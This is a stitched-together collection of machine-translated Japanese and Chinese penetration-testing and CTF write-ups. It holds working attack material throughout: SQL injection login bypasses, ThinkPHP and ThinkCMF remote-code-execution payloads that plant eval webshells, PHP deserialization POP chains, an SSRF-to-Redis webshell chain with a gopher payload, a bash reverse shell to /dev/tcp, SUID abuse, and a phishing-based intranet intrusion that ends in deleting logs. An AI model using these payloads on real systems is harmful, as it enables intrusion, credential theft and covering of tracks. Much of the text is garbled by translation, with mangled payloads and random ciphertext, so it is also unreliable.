パスワード: k0vwaluufnuaczxerfwrspfcod0vzlbtbxovfgfgmjpw3vzaipgetdvdsbzyk5kvuzjrgzfukhfvv2etvljedrvevvkvkvkeafhbr5ksozvwzzkewhg byqgcstgzh HMVZL3BVFGUSDVVV0P0RHTUNXDFCKHVYKZLHZTMV5KRW1MVWLTBHPHPKTUZFSWXGZ4BZVTPHBWULTSJYXXWRINEAWPLVWPNVOVZVPHPK4B DZKB3VTJzaVFWaahkY510VldVMtZ1MKV0VaxmMkBHbFVGMNZFVxYFbhpkWUNFcK1GZzpkeZVjWWJ2Vwh1T0xGMjpkTrd1dsRlYqR3VOhFbWFmdwd1UzpURXxm vsrlejdvyzw2vtlxvggj1twh1uvftvhzhcxnlcwbttphgbupxthf2q1c1u6xwvlteb6lfvxsmyk5kazvnrw1kvatwvzx2aopktsdfmavyvlyvwlxtx10sshlw結果:アプリは通常の图片を返します

この時点で、ログインポイントは注入であると判断できますが、結果は常に「ユーザー名またはパスワードが間違っている」ということです。つまり、「または「1」='1が使用されます。

图片

戻り結果に基づいて、バックエンドのログインのロジックコードはこのようなものかもしれません

userInfo='select * from userinfo where username=username';

userPass=userInfo.password; if(userpass==password){return 'login success';

} else {return 'login failed';

}ユニオンインジェクションを介してユニバーサルパスワードを構築すると、ユーザーがログインする可能性があります。テストプロセスは次のとおりです。

最初にテストで順序を使用し、フィールドの数が9であることを知ってください、ペイロードを作成します

#ターゲットサーバーにはフィルタリングがあるため、ここに単純なパスプレーンテキストがあります:{'username'3:'test'union/**/select/**/null、null、null、null、null、null、null、null、null、null、null - null - '、' password ':'123456 '、' ostype':'android '、' osversion':'5.1.1 '、' appversion ':'20.06.04 '、' logintyp E':'1 '、' Model':'V1938T '、' Brand':'Vivo '、' imei'3360'865166023309431 '、' version ':'new '} ciphertext: jdfmqj vrdlmq2l3ahfkaipktqzfdkdvy2b3vtfdb6zfaw52uzbhbntktfrfcwtwzojkehvumrvmtwdfvzwgbh9eayzvc1uktkxmubhdubhdyyy ky0xgm jpebulve3dlyrxmmifhbwewmjz1v1axvipktynfrazktojvmurdbgjmsar1uep0rinlsqlfmwbtunx2vsfhbr5ksox2vzg3rtdlvijwevxgz0e zvtphbwe1tkhktwvdmkbttvrvnsvvyqx2rolxshn2t1itwzbhbspgzujfdsbzyk5kvufjvrfwtgr1uwltvhbtsql1d1d1smyqhxbxttr2sovev wzumwhmwunvswzfzhfzvtjzawuvykhkyjpfblvdmxnlesvvypzevvztmvvvmrwd1uysgmrfgby9uezxwzwzphmvxndcwevtsdvuuhxrkjktrll1baz 0UHR2RNLXSXVWYKV1U6H2MWTMVIVGRKJZYXVZPHZZIVAGRLTIHHMJRDZGPVMONTUP5KBWVNSYM2MKTW4VLES1KTIVGWSDFZ040AZPN wsjwaondzip0vnftserfe5cvznjkauhfcxm2vkpxwykzvhxkwi5uejd0yxmmravnrw1kvatwvzx2aopktsdfmavlyvxmbwlxtx10sshlw結果:アプリは正常に返されます图片

Oracleは、ユニオンクエリを実行するときにもフィールドデータ型をテストする必要があるため、対応するフィールドデータ型もテストする必要があります。最終結果は次のとおりです

#ここでパスワードを123に変更して、ユニオンによって構築されたユニバーサルパスワードが実行可能かどうかをテストすることに注意してください。 {'username':'test'union/**/select/**/1、' 123 '、' 123 '、' 123 '、' 123 '、' 123 '、' 123 '、' 12 3 '、' 123 '、' 123 '、' 123 '、' 123 '、' 123 '、' 123 '、' 123 '、' 123 '、' 123 '、' 123 '、' 123 '、' 123 '、' 123 '、1デュアルから - '、' password ':'123 '、' ostype':'android '、' osversion ':'5.1.1 '、' appversion':'20.06.04 '、' logintype '' :'1 '、' Model ':'V1938T '、' Brand':'Vivo '、' imei':'865166023309431 '、' version':'new '} ciphertext: QSXBDUSV0 QPJKD5TWYB1UDSBTXFTBZBXOTFMSWH1TYZUBLTEASDVEVBTUNX2VSZTMF1KCSVFV2EZAH5EZYDVC1UZWBXBUBZAVFGUSJTYYBNRKNXMXNLES vvzpperirnuxfmdwd1uyzlewpfbunfdsbzyk50awbdmfzfuoh1vzx2aopktrl1ckxwtpjlbtreevfmrwd1uysgmvfgzijwsazfzzpkxkkaxjma SOH1UEVDMKBZATR1MSPXUOXGWTBXOVFGMJPWW3VZAIPGETD1ROJDZZZHFZVTPHBWULTWHLUXHXVNPEBYQFCFCSPWTPJKBUVNTHJWYGPXWYAHMR1EB XVFWG1GZLH2AXFJWVJMMSAR1UUBXMKNHARZLNSRLYK5EWTVTMVVMRWD1UYSGBY99UEZXWZPHMVXNDCWEVTSDVUHXRKNDZWDFEJFJPPR ntxj2qozfv650vl5ebyjlnwbzyqxgwuvjvjvrv2sontw1etvlzecunleodvzoxgwszdcwmmashfv1y1altktktzkvnxuvzgbnbtppntpntxvm tshlu2ahmjzecirfe5cvznjkauhfcxm2vkpxwykzvhxkwi5uejd0yxmmravnrw1kvatwvzx2aopktsddfmavlyvxmbwlxtx10sshlw結果:プロンプトは弱いパスワードです(この方法が実行可能であることを示します)图片

图片

次に、1つのフィールドと1つのフィールドを変更して、パスワードフィールドに対応するフィールドを決定します。テスト結果は次のとおりです

#パスワードをCESHI123 @@@に変更したことに注意してください。

プレーンテキスト:{'username':'test'union/**/select/**/1、' 123 '、' 123 '、' ceshi123 @@ "、 '123'、 '123'、 '123'、 '123'、 '123'、 '123'、1 '、' password ':'ceshi123 @@@ '、' ostype':'android '、' osversion ':'5.1.1 '、' appversion ':'20.06.04 '、' logintype':'1 '、' model':'v1938t '、' brand ':'vivo '、' imei':'865166023309431 '、' version ':'new '}

パスワード: k0vwaluufnuaczxxerfwuptebip1cwrlykpfvtbnstr2ckpxw1olvitgbyqgcgsvuzoj1auftrrvmtwhmtwhzanp luwrferzkuqxmmifhbfn2vkxw3bhmr1ebh9edsd0yhvzvtjzawevyw5mu050vhtktfrfcgxmuqb3mhvvmwy1s SJDVWR2MWFGDX9EWKDVYZW2VTRDBVFGUSDLVI50VONFETL1DS1WTP5KBREEVFMUSVFVXWMRS5KVYFVCXUVY2B3 vtfdb6zfaw52uzbxmwneawk1bwbtunx2vsfhefvgmnxgvwltbhpkvy9ewg1wzlhgbxhvnw0uasjdzwxgmhnnsqlv nkzlyphwbtbxovfmvkbtwxkkvnpmwunfr4vvyczvvvvjunrfmtontyizubldlsuvfc50wykrxbtpxshd1topxwvp 0AIPKTYNFRSVEZ310AZ9MWGNVYKDUT5L0VLFGZVNFNKHVZLBHWTVVMRJ2MS52U2WWRW5UNYQWNWTWZKJLVUVHZYV 2SWH1UVFZAINDBUNLQKVLUSBHWTVVMFN2BKPXWZVTRNTKTZKVNXUVZGBNBTPNTXVMTSHLU2AHMJZECIRFE5 cvznjkauhfcxm2vkpxwykzvhxkwi5uejd0yxmmravnrw1kvatwvzx2aopktsdfmavlyvxmbwlxtx10sshlw結果:迅速なログイン成功图片

图片

バイパス後、プログラムに例外があることがわかりました

图片

ユーザー名(ユーザー名)、StaffID(従業員番号)、電子メール(電子メール)、StaffName(名前)、Tel(携帯電話番号)、モバイル(携帯電話番号)など、返されたデータを注意深く観察します。ただし、これらのデータは自分で構築されたばかりです。ここでは、後続のログインプロセスには実際のユーザー情報が必要です。

图片

幸いなことに、実際のユーザー情報を取得する場所はまだあります

3。パスワードを忘れてユーザー名を破る

アプリにはパスワードを忘れる機能もあります(通常、ここでユーザー名を爆発させることができます)

图片

パスワードを忘れてユーザー名が存在するかどうかを判断する機能を使用できます。ここで私は辞書を実行したばかりで、多くのユーザー名が出てきました。

图片

图片

4。 SMS検証コードの亀裂

これらのユーザー名を自然に使用して、SMS検証コードを使用してログインします

图片

確認コードを取得してから、データパケットを復号化すると、驚くべき発見がユーザーの基本情報を返します

图片

ログインに基づいてペイロードを再テストし、最終結果は次のとおりです

プレーンテキスト: {'username':'test \' nion/**/select/**/staffid、\ 'qwe123 @@@@ \'、\ 'username \'、\ 'qwe123 \ \'、\ 'mobile \'、\ 'mobile \'、\ '\' 8651602313デュアル - '、' password ':'qwe123 @@@ '、' ostype':'android '、' osversion ':'5.1.1 '、' appversion ':'20.06.04 '、' l ogintype':'1 '、' model':'v1938t '、' brand ':'vivo '、' imei':'865166023309431 '、' version ':'new '}

パスワード:

残念ながら、数日前にフィッシングウェブサイトでいくつかの資金をだまされました。関連部門に連絡する前に、彼は、関連部門の行動を促進するために有用な情報を入手できるかどうかを確認するために私を見つけました。

Webサイトで予備情報を収集した後、WebサイトがThinkPhp 5.0.7フレームワークを使用し、ThinkPhpのEXPの対応するバージョンを直接見つけて試してみることがわかりました。

http://www.hu *****

PHPINFOは正常にポップアップされ、ThinkPHPのRCEの脆弱性は固定されていませんでした。 phpinfoを通じて、サーバーがパゴダを使用して構築され、Windowsシステムを実行していることがわかります。次のことは非常に単純だと思ったが、シェルを書いたときに困難に遭遇した:

http://www.hu ****

eval($ _ post ['cmd']);

ファイルは正常に書き込まれましたが、ページに直接出力されました。ソースコードを確認して、HTMLエンティティエンコードとして逃げられていることがわかりました:1049983-20240105113112936-10480240.png

base64エンコードを使用してそれを書き込もうとした後、私はそれがまだ逃げられていることに気付いたので、私はコマンドを直接実行して試しました:

http://www.hu ****

エコーがないことがわかり、シェルをリバウンドしようとしましたが、失敗しました。この時点で、私はシステムが無効になっている可能性があると感じ、評価に切り替えてまだ失敗しました。最後に、アサートを使用して正常に実行できることがわかりました。そのため、シェル接続を直接構築しました。

http://www.hu *****。

シェルを取得した後、最初にコマンドを実行しようとしましたが、コマンドはまだ正常に実行できませんでした。 disabled_functionを突破しようとしましたが、失敗しました

この時点で、心を変更し、Server構成ファイル/アプリケーション/Database.phpを確認して、MySQL Databaseアカウントを取得するには1049983-20240105113114247-1822725548.png

データベースに接続:1049983-20240105113115109-999005160.png

クエリバックエンド管理者データ:1049983-20240105113115997-1108461434.png

しかし、MD5のロックを解除できないことがわかりましたが、データベースのデータを大まかに確認しました。ここでは大きな助けがあったデータは見つかりませんでしたので、バックエンドアカウントに固執し続けることは考えませんでした。

次の主な焦点は、サイト管理者の情報を収集することです。最初にロギングファイル/runtime/log/202107/05.logをthinkphpフレームワークで確認してください

システム関数はログで実際に無効になっていることがわかりました:1049983-20240105113116744-1523513178.png

同時に、データベースをチェックするときに無視された重要なデータがログで見つかりました。 ——バックエンド管理者の最後のログインIP:1049983-20240105113117470-1744032188.png

数日前にレコードを見ると、最後のログインIPは101.78。*。*であることがわかりました。これがWebサイト管理者のIPアドレスであると疑っていました。シニアにフィードバックした後、私はIPをチェックし、それが香港のIPであることがわかりました。私はパニックを感じました:これはvp nをぶら下げるはずです

結果は予想通りです:1049983-20240105113118448-932331194.png

次の作業は行き詰まりました。 ThinkPhpのログをめくった後、他のIPのログインデータは見つかりませんでした。バックエンド管理者アカウントパスワードはデータベースで変更されました。バックグラウンドにログインした後、有用な情報は見つかりませんでした。いくつかのフィッシング記事の管理者のみがありました:1049983-20240105113121556-1466440048.png

後で、私はマスターと通信しました。マスターは、パゴダに有用な情報が残っているかどうかを確認することを提案しました。 c:/btsoft/panel/data/default.dbでPagodaパネルのデータファイルを見つけて、Pagodaアカウント情報を取得しました:1049983-20240105113122603-1380751264.png

同時に、パゴダデータベースのログの内容も確認しました:1049983-20240105113123487-705006491.png

ただし、パスワードを解くことはできません。現時点では、DBファイルを上書きすることでアカウントパスワードをリセットできます。ただし、この方法ではパネルを再起動する必要があります。現在の状況により、この方法は実装が困難です。

だから私の考えは再び行き詰まった。寝た後、私は翌日目が覚め、パゴダパネルのリクエストログがあることを思い出しました。そこで、JSONにc:/btsoft/panel/logs/request/1049983-20240105113124480-1005846886.pngに保存されている多数のリクエスト情報が見つかりました

以前のログファイルを開くと、実際にブレークスルーがありました(v p nが不安定で、操作中に突然電話を切って、実際のIPの漏れをもたらす可能性があります):1049983-20240105113126389-1211552580.png

175.167を照会した後、*。*、それはシェニヤンのIPアドレスであることがわかりました。

ちなみに、Webサイトのソースコード、データベース、およびログファイルはパッケージ化されて収集され、最終的に侵入中に残ったリクエストレコードを削除しました1049983-20240105113127211-1927137918.png

完成した仕事

元のリンクから転載:https://www.cnblogs.com/yesec/p/14983903.html

EasyPOP

题目环境是 php 7.4, 图省事直接把所有属性的类型都改成 public

起点是 sorry 类的 __destruct(), 由 echo $this->hint 调用到 show 类的 __toString() 方法, 然后通过执行 $this->ctf->show() 跳转 secret_code 类的 __call() , 进而到 show() 方法, 在 show() 方法中访问不存在的属性, 跳转到 sorry 类的 __get(), 最后通过 $name() 跳到 fine 类的 __invoke()

pop 链构造如下

<?php

class fine
{
    public $cmd;
    public $content;
}

class show
{
    public $ctf;
    public $time;
}

class sorry
{
    public $name;
    public $password;
    public $hint;
    public $key;
}

class secret_code
{
    public $code;
}

$e = new fine();
$e->cmd = 'system';
$e->content = 'cat /flag';

$d = new sorry();
$d->key = $e;

$c = new secret_code();
$c->code = $d;

$b = new Show();
$b->ctf = $c;

$a = new sorry();
$a->name = '123';
$a->password = '123';
$a->hint = $b;

echo serialize($a);

最后改一下数字绕过 __wakeup

http://f9eac3ed-9425-4fe7-a009-aad41f9db212.node4.buuoj.cn:81/?pop=O:5:"sorry":4:{s:4:"name";s:3:"123";s:8:"password";s:3:"123";s:4:"hint";O:4:"show":2:{s:3:"ctf";O:11:"secret_code":1:{s:4:"code";O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:4:"hint";N;s:3:"key";O:4:"fine":3:{s:3:"cmd";s:6:"system";s:7:"content";s:9:"cat /flag";}}}s:4:"time";N;}s:3:"key";N;}

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231752647.png

hade_waibo

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231753442.png

cancan need 有任意文件读取

http://745b93ee-b378-4803-b84e-52f9e7b78d2a.node4.buuoj.cn:81/file.php?m=show&filename=file.php

file.php

............

<?php

error_reporting(0);

session_start();

include 'class.php';


if($_SESSION['isLogin'] !== true){

    die("<script>alert('号登一下谢谢。');location.href='index.php'</script>");

}

$form = '

<form action="file.php?m=upload" method="post" enctype="multipart/form-data" >

    <input type="file" name="file">

    <button class="mini ui button" ><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">

  提交

</font></font></button>

</form>';




$file = new file();

switch ($_GET['m']) {


    case 'upload':

        if(empty($_FILES)){die($form);}


        $type = end(explode(".", $_FILES['file']['name']));

        if ($file->check($type)) {

            die($file->upload($type));

        }else{

            die('你食不食油饼');

        }

        break;


    case 'show':

        die($file->show($_GET['filename']));

        break;


    case 'rm':

        $file->rmfile();

        die("全删干净了捏");

        break;


    case 'logout':

        session_destroy();

        die("<script>alert('已退出登录');location.href='index.php'</script>");

        break;


    default:

        echo '<h2>Halo! '.$_SESSION['username'].'</h2>';

        break;

}

?>

............


class.php

‘<?php

class User

{

    public $username;

    public function __construct($username){

        $this->username = $username;

        $_SESSION['isLogin'] = True;

        $_SESSION['username'] = $username;

    }

    public function __wakeup(){

        $cklen = strlen($_SESSION["username"]);

        if ($cklen != 0 and $cklen <= 6) {

            $this->username = $_SESSION["username"];

        }

    }

    public function __destruct(){

        if ($this->username == '') {

            session_destroy();

        }

    }

}


class File

{

    #更新黑名单为白名单,更加的安全

    public $white = array("jpg","png");


    public function show($filename){

        echo '<div class="ui action input"><input type="text" id="filename" placeholder="Search..."><button class="ui button" onclick="window.location.href=\'file.php?m=show&filename=\'+document.getElementById(\'filename\').value">Search</button></div><p>';

        if(empty($filename)){die();}

        return '<img src="data:image/png;base64,'.base64_encode(file_get_contents($filename)).'" />';

    }

    public function upload($type){

        $filename = "dasctf".md5(time().$_FILES["file"]["name"]).".$type";

        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename);

        return "Upload success! Path: upload/" . $filename;

    }

    public function rmfile(){

        system('rm -rf /var/www/html/upload/*');

    }

    public function check($type){

        if (!in_array($type,$this->white)){

            return false;

        }

        return true;

    }


}


#更新了一个恶意又有趣的Test类

class Test

{

    public $value;


    public function __destruct(){

        chdir('./upload');

        $this->backdoor();

    }

    public function __wakeup(){

        $this->value = "Don't make dream.Wake up plz!";

    }

    public function __toString(){

        $file = substr($_GET['file'],0,3);

        file_put_contents($file, "Hack by $file !");

        return 'Unreachable! :)';

    }

    public function backdoor(){

        if(preg_match('/[A-Za-z0-9?$@]+/', $this->value)){

            $this->value = 'nono~';

        }

        system($this->value);

    }


}

Test 类可以利用, 第一时间想的是 phar 反序列化

可以用 . 执行命令来绕过正则

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231758660.png

思路就是先上传 phar 文件, 然后上传一个 jpg, 其内容包含要执行的命令

注意 jpg 的名称要在 phar 的前面, 例如 phar 的名称是 dasctfe4.jpg, 包含命令的 jpg 名称必须是 dasctfc2.jpg 或者 dasctf01.jpg (ascii 码较小)

不过试的时候发现绕过 wakeup 好像不太行…

然后想起来做 EasyLove 题的时候根目录下有个 start.sh 部署脚本, 结合题目的描述 tips:flag在/目录下的一个文件里, 索性直接读取 start.sh 看看

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231801987.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231803463.png

读取 /ghjsdk_F149_H3re_asdasfc 得到 flag

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231804991.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231804073.png

EasyLove

根据题目描述的 redis, 猜测是通过 ssrf + redis 来 getshell

$this->love = new $this->wllm($this->arsenetang,$this->l61q4cheng); 这句很明显是要通过某个类来执行 ssrf

众所周知 redis 的协议很宽松, 支持用 http 来发包, 而 php 原生的 SoapClient 类可以发送 http

payload 如下

<?php


class swpu{

    public $wllm;

    public $arsenetang;

    public $l61q4cheng;

    public $love;

}


$a = new swpu();

$a->wllm = 'SoapClient';

$a->arsenetang = null;

$target = 'http://127.0.0.1:6379/';

$poc = "flushall\r\nconfig set dir /var/www/html/\r\nconfig set dbfilename shell.php\r\nset xzxzxz '<?=eval(\$_REQUEST[1])?>'\r\nsave";


$a->l61q4cheng = array('location'=>$target, 'uri'=>"hello\r\n".$poc."\r\nhello");

echo urlencode(serialize($a));


试的时候一直卡住 (正常现象), 访问 shell.php 也显示 404

于是猜测 redis 可能有认证, 看了下题目有 hint 类, 通过 file_get_contents() 来获得 hint.php 的内容

直接反序列化 hint 无回显, 结果想试试 file_get_contents() + gopher 的时候阴差阳错地读到了 hint.php

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231829355.png

<?php


class hint{

    public $hint;

}

$a = new hint();

$a->hint = 'gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2422%0D%0A%0A%0A%3C%3Fphp%20phpinfo%28%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A';

echo serialize($a);


http://0021bfdb-5d2b-42ff-9505-49d23c4aa0e2.node4.buuoj.cn:81/?hello=O:4:"hint":1:{s:4:"hint";s:404:"gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2422%0D%0A%0A%0A%3C%3Fphp%20phpinfo%28%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A";}

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231830188.png

猜测 20220311 就是 redis 的密码

于是最终 payload 如下

<?php


class swpu{

    public $wllm;

    public $arsenetang;

    public $l61q4cheng;

    public $love;

}


$a = new swpu();

$a->wllm = 'SoapClient';

$a->arsenetang = null;

$target = 'http://127.0.0.1:6379/';

$poc = "auth 20220311\r\nflushall\r\nconfig set dir /var/www/html/\r\nconfig set dbfilename shell.php\r\nset xzxzxz '<?=eval(\$_REQUEST[1])?>'\r\nsave";


$a->l61q4cheng = array('location'=>$target, 'uri'=>"hello\r\n".$poc."\r\nhello");

echo urlencode(serialize($a));


O%3A4%3A%22swpu%22%3A4%3A%7Bs%3A4%3A%22wllm%22%3Bs%3A10%3A%22SoapClient%22%3Bs%3A10%3A%22arsenetang%22%3BN%3Bs%3A10%3A%22l61q4cheng%22%3Ba%3A2%3A%7Bs%3A8%3A%22location%22%3Bs%3A22%3A%22http%3A%2F%2F127.0.0.1%3A6379%2F%22%3Bs%3A3%3A%22uri%22%3Bs%3A145%3A%22hello%0D%0Aauth+20220311%0D%0Aflushall%0D%0Aconfig+set+dir+%2Fvar%2Fwww%2Fhtml%2F%0D%0Aconfig+set+dbfilename+shell.php%0D%0Aset+xzxzxz+%27%3C%3F%3Deval%28%24_REQUEST%5B1%5D%29%3F%3E%27%0D%0Asave%0D%0Ahello%22%3B%7Ds%3A4%3A%22love%22%3BN%3B%7D


https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231832077.png

访问 shell.php

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231833180.png

蚁剑连接, 发现 flag 打不开

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231833251.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231834534.png

root 权限, 估计是要提权

先用 bash 反弹 shell, 直接输入会有点问题, 解决方法是先在 bash.sh 里写入反弹命令, 然后通过 bash bash.sh 来执行

bash -i >& /dev/tcp/xxxx/yyyy 0>&1

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231836286.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231837760.png

查找带 SUID 的文件

find / -perm -u=s -type f 2>/dev/null
https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231839463.png

发现有 date, 于是直接用 date 来读取 flag

date -f /hereisflag/flllll111aaagg

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231839756.png



参考原文: https://exp10it.cn/2022/10/dasctf-2022-%E5%8D%81%E6%9C%88%E8%B5%9B-web-%E9%83%A8%E5%88%86-writeup/#easypop

来自为知笔记(Wiz)

0x00はじめに

赤と青の対立は間違いなく連続的なゲームプロセスです。近年の継続的な犯罪と防御により、戦いは次々と戦われ、Webの脆弱性は急激に減少し、ソーシャルワーカーのフィッシングは明らかに主流の攻撃方法の1つになりました。

图片

0x01免責事項

慎重に読んで、次の用語を完全に理解してください。

1.この公式アカウントが共有する記事は、法的に認可されたエンタープライズセキュリティ構築と個人学習行動のみを目的としています。組織または個人は、違法行為に使用することを厳しく禁止されています。

2.この記事では、関連するツールとテクノロジーを使用してテストする場合、行動が地域の法律や規制に準拠し、十分な許可を取得していることを確認する必要があります。

3.この記事で関連するツールとテクノロジーを使用する過程で違法行為がある場合、あなたはあなた自身の裁量で対応する結果を負担する必要があり、私たちは法的責任または共同責任を負いません。

4.組織や個人がこの公式アカウントの名前で違法な利益を上げることは厳密に禁止されています。

5.この公式アカウントのすべての共有ツールと技術記事は、許可なしに公開共有を厳しく禁止しています。

上記の禁止行動が発見された場合、私たちは法的責任を追求する権利を留保し、あなたは禁止された行動によって引き起こされた結果を負担するものとします。

0x02通常の操作を通過します

ターゲットを取得した後- 資産収集- ソフトペルモンを見つける - 料理をしてみてください

ターゲットユニット情報を取得した後、Qichachaドメイン名とエンタープライズ構造を介して、外国投資がなく、優れたユニット企業は1つしかなかったことがわかりました。

图片

サブドメインを探して、利用可能な資産はありません(Virustotal.com、高速かつ簡単ですが不正確です)

图片

また、QAXNBアセットマッピングプラットフォームを通じて利用可能な情報があるかどうかを確認するのも空です。

图片

マルチポイントping、ドメイン名の解像度、その他の操作を通じて、それらはすべてAlibabaクラウドを指していることがわかります

图片

一連のプロセスの後、不変の公式Webサイト(ドメイン名の解像度がクラウドを指し示すことを除いて、管理する目標はありません。深く掘り下げる気分はありません)。

ついに結論に達しました:私は実際に柔らかいpersimmonです

0x03すべての道路はローマに通じています

Webを移動できない場合、通常の操作を実行できません。公式アカウント、ミニプログラムで指を向けてください

モバイル端末の適用をテストし、リクエストアドレスとパケットリターンのコンテンツを観察することにより、実際のIPアドレスが最終的に見つかりました。そのため、公式Webサイトはクラウドにありませんでした。

图片

IPを通じて、フルポートスキャンはH3Cネットワーク管理機器に存在することがわかりました。 IPがエクスポートIPであると大まかに推測できます。

图片

前面と背面にある5 IPの完全なポート情報をスキャンすることで、いくつかのアプリケーションシステムを見つけることができて大喜びしました。彼らは柔らかいperのように見えました、そして、私は成功が私の目の前にいると感じました。私は魂を叩き、黄色いドラゴンを襲おうとしていました。私はそれについて考えることに少し興奮していました。 hehehehe

その結果、いくつかの抜け穴がありますが、それらのどれも移動することはできず、GetShellが失敗しました

案の定、柔らかいperは私です

しかし、私たちはすべて攻撃と防御をする銃の王であり、最後の瞬間まであきらめません。特定のシステムに侵入したとき、私たちは大きな赤ちゃんを見つけました(オンラインマニュアル1対1のWeChat QRコード)

图片

0x04ターゲットカスタマーサービスが大好きです

ターゲットカスタマーサービスを追加した後、私の興奮した心と震える手はすべて、私たち2人が初恋と同じくらい美しいことを意味します。私たちが火に会うとき、今夜何かが起こります。 hehehe

会話の時間間隔と返信の短い言葉を通して、彼女が私の誠実な心のために無駄に私にとっては不安定であることを見るのは難しくありません。

しかし、ことわざにあるように、「私は勇敢になり、死に飢えます」。私は彼女が私に十分に気にかけていないと結論付けたので、私は勇敢で良い男になることにしました。

图片

案の定、私の判決の下で、「よろしいですか?本当に私を扱っていますか?」、2人の攻撃の下で、彼女は心を変えて、私の大きな赤ちゃんをクリックしました。また、彼らのユニットのイントラネットを正常に入力しました。

图片

图片

0x05の詳細は、成功または失敗を決定します

プロセス情報とポート情報を収集することにより、Kingsoft Antivirusがイントラネットに存在することが発見され、アクセスがV9であることがわかりました(アップロードおよび固定)

图片

詳細はこちらです。正面の公式アカウントをテストしていたとき、アカウントのパスワードを見つけて、さりげなく記録しました。

图片

ルールを分析した後、いくつかのアカウントパスワードを手動で再編成し、それらを使用してKingsoft Anti-Virusと衝突します。魂の別のショットが打たれ、それは正確な打撃であり、成功裏に勝ちました。

图片

古代人は次のように述べています。「内部ネットワークを持っている場合、コントロールを集中化した人は世界に勝ちます。」この時点では、ユニットのイントラネットを落とすだけで十分ですが、十分ではありません。私はいつも何かが欠けていると感じているので、急いで続けなければなりません。

組み立てられたパスワードを通じて、上記のH3Cネットワークデバイスを取得し、ネットワーク管理者に直接なったことがわかりました。すべてのルーティングの方向とネットワーク戦略を理解しました。 hehehehe

图片

慎重なマスターは、イントラネットにVMware(特定の写真にアピールするWebtitle)があることを実際に発見したので、私は間違いなく彼女を手放すことができませんよね?

歴史的な脆弱性を通じて正常に取得され、コア生産システムが展開されていることがわかりましたが、歴史的な脆弱性は修復されませんでした。

图片

getShell -data.mdb -decrypt-クッキーを取得- 背景を入力する

图片

他はすべて断片化されたものであり、技術的な内容はあまりありません。マスターもそれが好きではないと信じているので、ここでやめましょう。再び戦うのは失礼です。

0x06攻撃ルート

图片

0x07最後の単語

記事には不合理または不適切なコンテンツがあります。コメントへようこそ。

記事の違法または侵害の内容があります。この記事は、確認の直後に削除されることを指摘するよう歓迎します。

元のリンクから転載:https://mp.weixin.qq.com/s/cixtfpn__ -xxtpcte2ow?scene=25#wechat_redirect

晴れた夜、私はTwitterで歩くことに興奮していましたが、突然、次の推奨フォローはXXXXビデオの名刺であることがわかりました。

图片これ、これ、これ、これ、私は真面目な人です、Twitterがこれらを私にプッシュした理由はわかりません。これを実行し、プロモーションリンクを開き、アプリをダウンロードする必要があります。

图片

このアプリは、開くとすぐに馴染みのある臭いを人々に与えます。 TP Twoによって開かれた可能性が高いようです。

图片

携帯電話番号、フィドラーを登録してパッケージをキャッチして変更しますが、コンテンツは実際には目を引くものです

图片

私はパケットを捕まえてURLを取得しましたが、これが単にthinkcmfであることがわかりましたか?私は微笑んで微笑んで、私はそれを脱ぐことはなかっただろうと思った。フロントデスクには非常に多くのRCEがありました。たとえ犬がいたとしても、私は数秒でそれをすることができました。しかし、私はすぐに現実に顔を平手打ちしました。

poc:payload1を実行:

/index.php?g=apim=oautha=fetchcontent=phpfile_put_contents('pass.php'、 '?php @eval($ _ post [1]);')/Php 图片

Payload2:

/?a=fetch;templatefile=public/indexprefix=''content=phpfile_put_contents('pass.php','?php@eval($_post [1]); ')/php 图片

Payload3:

?a=displaytemplatefile=%3c?php%20file_put_contents(%27mmphp%27、%27%3c%3fphp+eval($ _ post _ post [%22x%22])%3b%3f%3e%27); die();

/?a=displaytemplatefile=data/runtime/logs/portal/yy_mm_dd.log最後に、M.Phpの1文字のトロイの木馬ファイルがディレクトリで生成され、もちろん他のペイロードとしても記述できます。

图片

操作はトラと同じくらい激しいです。ファイル404を見ると、寒いでしょうか?

图片

さらに、このアプリにはSQLインジェクション:インジェクションポイントもあります。

/index.php?g=appapim=videovideoid=1 图片

注入ポイント2:

/index.php?g=appapim=autha=indexuid=1288889TOKEN=B69CDA34DFF2FA978A94B5583E7F5C9A 图片

图片

